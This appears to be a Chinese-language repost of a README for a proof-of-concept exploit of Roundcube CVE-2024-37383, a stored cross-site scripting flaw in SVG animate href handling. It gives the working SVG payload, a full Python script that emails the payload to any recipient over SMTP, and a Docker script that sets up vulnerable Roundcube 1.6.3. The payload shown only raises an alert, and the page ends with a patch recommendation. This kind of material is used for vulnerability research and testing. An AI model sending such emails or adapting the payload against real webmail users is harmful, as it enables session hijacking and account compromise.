Roundcube CVE-2024-37383 漏洞概念验证工具

9 阅读3分钟

Roundcube CVE-2024-37383 概念验证工具

CVE-2024-37383转存失败,建议直接上传图片文件

本项目是针对 CVE-2024-37383 漏洞的概念验证工具。该漏洞存在于Roundcube邮件服务器中,是一种通过SVG动画属性实现的跨站脚本攻击。攻击者可以通过构造特制的HTML邮件内容,在受害者点击邮件中的恶意链接时触发JavaScript代码执行。

功能特性

  • 漏洞利用脚本:提供Python脚本,可发送包含恶意SVG动画的HTML邮件
  • 测试环境自动化:提供Docker脚本,快速搭建Roundcube 1.6.3测试环境
  • 多种SMTP支持:兼容Gmail、GMX等多种邮件服务商的SMTP配置
  • 点击触发XSS:通过SVG <animate> 标签的 href 属性注入恶意JavaScript代码
  • 调试输出:邮件发送过程包含详细的SMTP通信日志,便于调试

安装指南

系统要求

  • Python 3.6+
  • Docker(用于搭建Roundcube测试环境)
  • 有效的电子邮件账户及SMTP认证凭据

依赖安装

本项目依赖Python标准库,无需额外安装第三方包。

# 克隆仓库
git clone https://github.com/yourusername/CVE-2024-37383-POC.git
cd CVE-2024-37383-POC

# 验证Python环境
python3 --version

搭建Roundcube测试环境

使用提供的 start_roundcube.sh 脚本快速启动Roundcube容器:

chmod +x start_roundcube.sh
./start_roundcube.sh

脚本配置说明:

  • Roundcube版本:1.6.3
  • 本地访问端口:8080
  • IMAP服务器:ssl://imap.gmx.com(端口993)
  • SMTP服务器:mail.gmx.com(端口465)

访问 http://localhost:8080 即可使用Roundcube Web界面。

使用说明

基础用法

使用Gmail发送恶意邮件
python3 exploit.py -e your.email@gmail.com -p 'your_app_password' -t victim@roundcube.email

注意:使用Gmail时需要生成应用专用密码,不能直接使用账户登录密码。

使用自定义SMTP服务器发送
python3 exploit.py -e sender@example.com -p 'email_password' -t victim@roundcube.email -sh smtp.example.com -sp 587

命令行参数

参数说明必填默认值
-e, --sender_email发送方邮箱地址
-p, --sender_password发送方邮箱密码/应用密码
-t, --recipient_email接收方邮箱地址
-sh, --smtp_hostSMTP服务器地址smtp.gmail.com
-sp, --smtp_portSMTP端口号587

攻击流程

  1. 启动测试环境:运行 start_roundcube.sh 启动Roundcube容器
  2. 发送恶意邮件:使用 exploit.py 向测试邮箱发送特制邮件
  3. 触发漏洞:登录Roundcube Web界面,打开收到的邮件,点击邮件中的链接即可触发XSS弹窗

恶意邮件内容说明

发送的邮件包含纯文本和HTML两种格式。HTML部分包含如下恶意代码:

<svg>
    <animate attributeName="href " values="javascript:alert('You are powned.')" href="#link" />
    <a id="link">
        <text x=20 y=20>Click me</text>
    </a>
</svg>

当用户点击 "Click me" 文本时,SVG动画会将链接指向 javascript:alert(...),从而执行恶意代码。

核心代码

漏洞利用脚本核心逻辑

import smtplib
import argparse
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def send_malicious_email(args):
    # 创建多部分邮件对象
    msg = MIMEMultipart('alternative')
    msg["From"] = args.sender_email
    msg["To"] = args.recipient_email
    msg["Subject"] = "CVE-2024-37383 Proof Of Concept"
    
    # 纯文本备用内容
    text = "Please use HTML view to see this email."
    
    # XSS攻击载荷 - 通过SVG animate标签注入JavaScript
    html = """\
    <html>
    <head></head>
    <body>
        <svg>
            <animate attributeName="href " values="javascript:alert('You are powned.')" href="#link" />
            <a id="link">
                <text x=20 y=20>Click me</text>
            </a>
        </svg>
    </body>
    </html>
    """
    
    msg.attach(MIMEText(text, 'plain'))
    msg.attach(MIMEText(html, 'html'))
    
    # 建立SMTP连接并发送
    server = smtplib.SMTP(args.smtp_host, args.smtp_port)
    server.set_debuglevel(True)  # 启用调试输出
    server.starttls()            # 启用TLS加密
    server.login(args.sender_email, args.sender_password)
    server.sendmail(args.sender_email, args.recipient_email, msg.as_string())
    server.quit()

测试环境搭建脚本

#!/bin/bash

# Roundcube测试环境配置
ROUDCUBE_VERSION="1.6.3"
ROUDCUBE_PORT=8080
SMTP_PORT=465
SMTP_HOST=mail.gmx.com
IMAP_PORT=993
IMAP_ENDPOINT=ssl://imap.gmx.com

# 拉取Roundcube Docker镜像
docker pull roundcube/roundcubemail:$ROUDCUBE_VERSION-apache

# 启动容器,配置IMAP和SMTP参数
docker run \
    -e ROUNDCUBEMAIL_DEFAULT_HOST=$IMAP_ENDPOINT \
    -e ROUNDCUBEMAIL_DEFAULT_PORT=$IMAP_PORT \
    -e ROUNDCUBEMAIL_SMTP_SERVER=$SMTP_HOST \
    -e ROUNDCUBEMAIL_SMTP_PORT=$SMTP_PORT \
    -p $ROUDCUBE_PORT:80 \
    roundcube/roundcubemail:$ROUDCUBE_VERSION-apache

漏洞说明

CVE-2024-37383漏洞源于Roundcube对SVG动画属性 href 的清理不充分。攻击者可以通过 animate 标签的 attributeNamevalues 属性注入 javascript: 协议的URI,当用户点击SVG中的链接元素时,浏览器会执行注入的JavaScript代码。

影响版本:Roundcube 1.6.3及之前的特定版本

修复建议:升级到已修复该漏洞的Roundcube版本。 6HFtX5dABrKlqXeO5PUv/wRBsqzxmQ+MmY2eGHIUeOxLXxMYI+J0pr3nT74Wh9IM